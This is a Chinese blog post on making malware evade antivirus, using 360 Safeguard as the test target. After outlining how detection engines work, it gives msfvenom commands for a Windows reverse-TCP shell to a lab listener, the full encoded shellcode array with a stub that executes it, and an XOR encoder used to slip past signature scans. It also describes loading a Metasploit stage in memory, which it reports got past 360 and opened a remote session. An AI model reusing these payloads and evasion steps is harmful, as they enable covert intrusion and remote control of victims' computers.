和防毒軟體愉快玩耍的日子

有價值炮灰發表於2016-07-30

在實際的滲透測試中,防毒軟體是個無法忽視的話題;比喻的話,就像談戀愛最終都要見對方父母一樣,
除非你不想把這層關係持續下去. 因此,本篇作文主要研究如何使自己的惡意軟體(MalWare)
繞過防毒軟體的識別和查殺.

FBI WARNING
本文所述的方法和經驗只作為個人總結和筆記,切勿用於違法用途!!

防毒軟體的工作方式

俗話說,知己知彼,百戰不殆. 防毒軟體保護電腦的方式一般有靜態簽名查殺,靜態啟發式查殺,
動態查殺,雲查殺和主動防禦幾種. 不過這些只能根據我個人的理解以及前人的經驗進行總結,
實際上也不太可能有什麼官方文件來說明技術實現細節, 如果覺得我說得不對的話歡迎指出.

靜態簽名分析

簽名(Signature)分析是基於黑名單的方式. 當一個新的木馬或者病毒被防毒軟體檢測為惡意軟體時,
就會產生一個新的簽名. "簽名"是軟體的一個特徵值,可以基於特定的程式碼或資料(例如使用特定字串的鎖).
通常簽名基於惡意二進位制檔案的第一段可執行的位元組. 殺軟擁有包含上百萬惡意軟體簽名的資料庫,
在掃描一個軟體時會將其與資料庫中的簽名進行比對,如果符合,則報告為惡意軟體.

第一代防毒軟體使用的就是這種方法,現在仍然在使用,不過通常會和其他檢測方式協同工作.
一些工具,例如YARA,可以用來很容易地建立規則以對惡意軟體進行分類和識別,
這些規則可以上傳到殺軟或者逆向工程的工具中.

靜態簽名分析的一個主要弊端是它無法檢測到新型的惡意軟體.要繞過靜態分析只需重新編譯新的程式碼,
或者在原有程式碼的基礎上進行精確修改以刪除實際的簽名. 有種稱之為多型病毒(polymorphic viruses)
的惡意軟體,可以在執行時修改自身的程式碼(使用加密的方法)從而能不斷變換其自身的簽名雜湊,
從而逃避防毒軟體的識別.

靜態啟發式分析

在這種方式下,防毒軟體會查詢經常出現在惡意軟體中的一些程式碼或者模式.不同的殺軟公司有
不同的規則,而且這些規則通常是不公開的, 所以有時候不是很好理解為什麼殺軟認為某個軟體是"惡意的".
啟發式分析的優點是可以識別新型的惡意軟體,而不依靠祖上的資料庫;缺點也是明顯的,
啟發式查殺經常會觸發"誤報".

一個靜態啟發式查殺的例子是CallNextHookEx函式,這個函式通常被惡意軟體用來實現鍵盤記錄(Keylogger),
因此一些殺軟會檢測這個函式的使用(在可執行檔案中的資料段檢測該函式名)並且對該可執行檔案向使用者發出警告.
另外一個例子是,如果一段程式碼嘗試開啟"explorer.exe"程式並且嘗試向其虛擬記憶體中寫資料的話,
也是會被啟發式分析判斷為惡意的.

一個繞過靜態啟發式分析的方法是確保所有惡意的程式碼部分都是隱藏(加密)的, 如果在解密之前軟體沒有觸發
殺軟的警告,而且解密模組也沒有可疑行為的話,那麼靜態啟發通常是檢測不出來這個惡意軟體的.

動態分析

隨著病毒和殺軟的對抗日益增加,許多病毒都會給自己進行加密,這使得靜態查殺已經不太有效果,
因此後來又出現了動態查殺. 這種方式是指在掃描一個可執行檔案的時候,先將其匯入到殺軟虛擬出的
環境(沙盒)之中執行一段時間,並且與靜態分析的方式結合起來. 在沙盒中惡意軟體會解密自己,
最終露出猙獰的面目, 從而被靜態分析出惡意的行為或者簽名.

事實上動態分析是一件很複雜的事情,需要實時掃描上百萬份檔案,還要在虛擬化環境中執行它們,
並且檢測所有的簽名等等, 其同樣也有侷限性:

  • 首先,掃描速度必須要非常快,因此在每次掃描中能執行的操作是有限的;
  • 其次,因為沙盒環境是虛擬出來的,所以無法得知機器和惡意軟體的特異性;
  • 最後,虛擬本身有一些特徵是可以被惡意軟體感知到的.

雲查殺

最近"雲"的概念大家都玩得不亦樂乎,安全產商也不甘落後,推出了雲查殺的概念.
這種查殺方法用來發現新型的大規模部署的木馬和後門饒有成效,其主要的思路是當某些可執行檔案有可疑的行為,
比如後臺安裝服務,程式注入,修改系統目錄裡的檔案等,就會將父檔案上傳到雲,並紀錄簽名.
如果一個時間段內一定數量同樣簽名的檔案被記錄了同樣的行為,那麼就可以初步判斷為惡意軟體,
從而記錄進黑名單列表中,保護其他打算執行這個檔案的客戶端免受進一步侵害.
當然這也是有誤報的,比如"QQ",誰叫企鵝老是在系統目錄裡亂搞呢,呵呵,不過那都是題外話了.

雲查殺看似讓黑產無處可躲,但其實也可以被繞過的,比如白名單或者動態更新簽名.
曾經有過一種腦洞新奇的方法我很喜歡,就是惡意軟體自身會先讓自己膨脹,體積變得巨大,
這樣可以使得一部分殺軟會考慮網路原因而選擇不上傳該檔案.

主動防禦

所謂魔高一尺,道高一丈,在殺軟和木馬的對抗不斷升級下,有的防毒軟體已經受夠了"慢半拍"
的罵名,提出所謂"主動防禦"的查殺方式. 當然安全產商也沒提供相應的技術細節,
但根據我的經驗來看應該是實時Hook了系統中一些關鍵的API呼叫,並給使用者警告.
實踐上來看,這種方式還是挺有效果的. 雖然不是沒有辦法繞過,但繞過的技術成本和時間成本提高了不少.

實踐測試

瞭解了防毒軟體的基本工作原理,可以開始對其實時進行調戲了. 這裡我選擇用360安全衛士來
作為測試目標,因為它似乎佔領了我國大部分PC使用者的市場. 首先我在我的Windows7虛擬機器裡安裝了
360安全衛士,細心地避免安裝成全家桶. 安裝完後重啟,效果還是挺明顯的,開機時間從10秒變成了30秒.

然後,先用msfvenom生成了一個反彈shell的木馬:

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp  LHOST=10.0.1.104 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe -o test360.exe

test360.exe丟到windows7裡用360掃描會被報告為木馬,如下:

360-1

事實上這種用工具生成的payload,早就在各大安全產商的資料庫裡了,丟到一些線上掃描的網站上也是分分鐘被報毒:

virscan-1

既然靜態分析躲不過,那我把payload加密一下看看行不行? 這次先用msfvenom生成二進位制的payload:

$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp  LHOST=10.0.1.104 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00\x26' -f c

執行後可以得到一個payload的c陣列:

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
unsigned char buf[] = 
"\xd9\xc0\xd9\x74\x24\xf4\xbe\xb6\x38\x73\x74\x5a\x31\xc9\xb1"
"\x6f\x83\xc2\x04\x31\x72\x14\x03\x72\xa2\xda\x86\xcf\x7d\x32"
"\xfe\xa3\x5b\x98\xd9\xb0\x7f\xeb\x80\x0b\xb6\xa2\x5d\xef\x8a"
"\xc1\xac\xb5\x1a\xc9\x94\x59\x4f\x10\x64\x17\x4e\xdc\xe8\x3f"
"\xb0\x7e\x06\x39\x86\x45\xcf\xf1\xe1\x64\x8b\xa2\x76\xb9\x5c"
"\x82\xe8\xd5\x84\x6d\x13\x7f\xfe\xf4\xc9\xa7\xb6\xdc\x8d\x9f"
"\x1f\xe8\x40\x84\xc0\xea\x45\x27\x24\x14\x21\x1f\x88\xc3\x0e"
"\xc6\x89\x3c\x71\xef\x08\x69\x72\x2c\x7d\x5d\x25\xce\x67\xbe"
"\x8f\x27\xdb\x27\x18\x45\xf2\x30\x84\x4e\x85\x23\x66\xde\x2d"
"\x51\x52\xa3\xcc\xd5\xdd\xfa\x37\x76\x98\xc5\x4c\x10\x48\xf3"
"\xc4\x91\x12\xd4\x13\xe6\xb0\x9c\x74\x8b\x8a\x7e\xfb\xe6\xef"
"\x86\x5f\x89\xdd\xd8\xc3\x33\x66\xd5\x4d\x0e\xbf\x8c\x69\x9f"
"\xcd\xa9\xb5\x80\x5a\xee\x2c\x89\xc5\x1c\x75\xeb\x94\x4a\xa0"
"\xcc\x9f\xaf\xfb\x72\xfd\x17\x23\xdb\x2d\x06\xa9\x60\x8e\x66"
"\xbf\xac\x2a\x9c\x19\x2b\x6f\xae\x7d\x06\x4d\xf6\xd3\x64\xfd"
"\xa7\x6d\xfa\x70\x48\x1a\x1a\xaf\x63\xcf\x66\x7a\x41\x8e\xda"
"\xc6\xbc\x47\x8e\xdd\xe3\x39\xd1\xa4\xd8\xa6\x6f\xb4\x6a\xc3"
"\x35\x27\x17\x3a\x1f\x34\x73\xda\xa8\x1e\x7d\xa6\xab\x8c\xca"
"\x25\xf8\xcd\xe4\x22\x32\x78\x81\xf1\x01\x22\x70\x12\x77\xa2"
"\x41\x74\xb4\xe2\xb9\x03\xd6\x2a\xc3\x41\x3a\x2a\x7a\xa8\x2a"
"\x6b\xd6\x19\x06\x04\x19\x25\xc2\x8a\x7e\xc6\xf7\x4c\xd4\x69"
"\xe6\x1e\x49\xc0\x4b\x9d\x6e\x53\xbb\xe7\x56\x5b\x66\xd1\x7c"
"\xbe\x15\xb9\xde\xc9\x38\x54\xd5\x8d\x83\x8e\x40\x09\x96\xc1"
"\xef\xb8\x1a\x1f\x6d\xb8\x31\x7c\xbb\x49\x3c\xee\x98\x8e\x47"
"\x1d\x56\x6e\xbe\x67\xeb\x25\xc5\x02\x5d\x05\x36\x6b\x5f\xe8"
"\x7c\x68\x44\xa8\xd8\xa6\x7f\xb8\x67\x29\x25\xfa\xa6\x80\x46"
"\x09\x8d\x2b\x0d\xe8\x1c\xa4\x60\xf0\xec\x7d\xb9\xc4\xbd\xaf"
"\xdc\x29\x49\xd4\x7a\x0f\xef\x2e\xdd\x4b\x20\x33\x7a\xfd\x20"
"\x1d\xf1\x27\x7a\x6e\x38\x27\xfe\x07\x31\x6d\xa9\x33\x09\x88"
"\x43\x59\xa1\x59\xbd\xe5\x82\xa5\x34\x6a\x0c\x1a\xb2\x81\xc3"
"\x93\x9b\x6c\xce\xac\xc6\xa7\x7a\xa9\xe8\x87\x84\xb4\x37\x60"
"\xfd\xc7\x65";

執行時只要將其轉換為函式指標來呼叫即可:

int main() {
    (* (int(*)()) buf)();
    return 0;
}

但是我們這裡不直接執行,而是把加密後的內容寫進程式碼裡,執行前先進行解密.
我們知道變數與某個定值異或(xor)兩次之後還是自己本身,因此我用異或作為
簡單的加解密方式,這裡用0x26做異或:

void xor_codec(const unsigned char *in, unsigned char *out) {
    int in_len = strlen((const char*)in);
    for(int i=0; i<in_len; i++) 
        out[i] = in[i] ^ 0x26;
    out[i] = 0;
}

現在將帶有加密後的payload以及解密邏輯的程式碼編譯為test360-2.exe,上傳到
線上查殺看看結果:

virscan-2

看來只要簡單的加密,就能繞過大多數基於簽名的靜態查殺. 第一次用360右鍵進行木馬雲查殺的時候,
也顯示檔案是安全的,但是一旦雙擊執行:

360-2

被動態分析查殺出來了.然後再一次右鍵進行木馬雲查殺時候,就警告為木馬了.估計是動態檢測到惡意軟體
的時候把新的簽名也傳到雲端伺服器了,不過我沒有抓包去證明,因為這不重要.

重要的是,有什麼辦法可以繞過360的動態檢測呢? 其實方法有很多,這裡只舉一個最簡單的例子:記憶體載入.
記憶體載入的思路是讓程式在執行的過程中從外部(比如網路上)獲取惡意的payload,然後再拷貝到可執行的
記憶體中進行呼叫. 由於整個過程都只發生在記憶體裡,而不寫入磁碟,因此防毒軟體幾乎無法根據簽名特徵來進行查殺.

從行為上看,我們寫的可執行檔案也只是和某個地址建立了TCP連結,並從socket裡讀寫資料,再正常不過了.
編譯一個test360-3.exe,直接與metasploit的監聽埠進行連線並且獲取Stage Payload然後組裝好再執行,
在有殺軟的電腦上成功啟動,沒有收到任何阻攔:

和防毒軟體愉快玩耍的日子

在攻擊主機上也可以看到中木馬的小夥伴成功上線了:

和防毒軟體愉快玩耍的日子

後記

獲得了反彈的shell或者meterpreter會話只是成功的一小步,利用meterpreter可以實施許多型別的
遠端控制,比如鍵盤記錄,控制攝像頭,螢幕截圖,下載/上傳檔案等,但是實際上前面提到的主動防禦
會攔截到大多數敏感的API呼叫,至少經過我測試,鍵盤記錄,程式注入以及嘗試kill掉360都是會被彈窗警告的,
也許是因為這類操作有可能會造成使用者錢財損失吧.這種大量的API HOOK一方面讓黑產從業人員撓破了頭,
但是另一方面也降低了使用者的電腦使用體驗(全家桶造成的傷害另算).安全產商需要在這之間做好權衡,
其實是一件費力不討好的事.如何繞過主動防禦,就等下次再說吧.(也許不會)

部落格地址:

歡迎交流,文章轉載請註明出處.

相關文章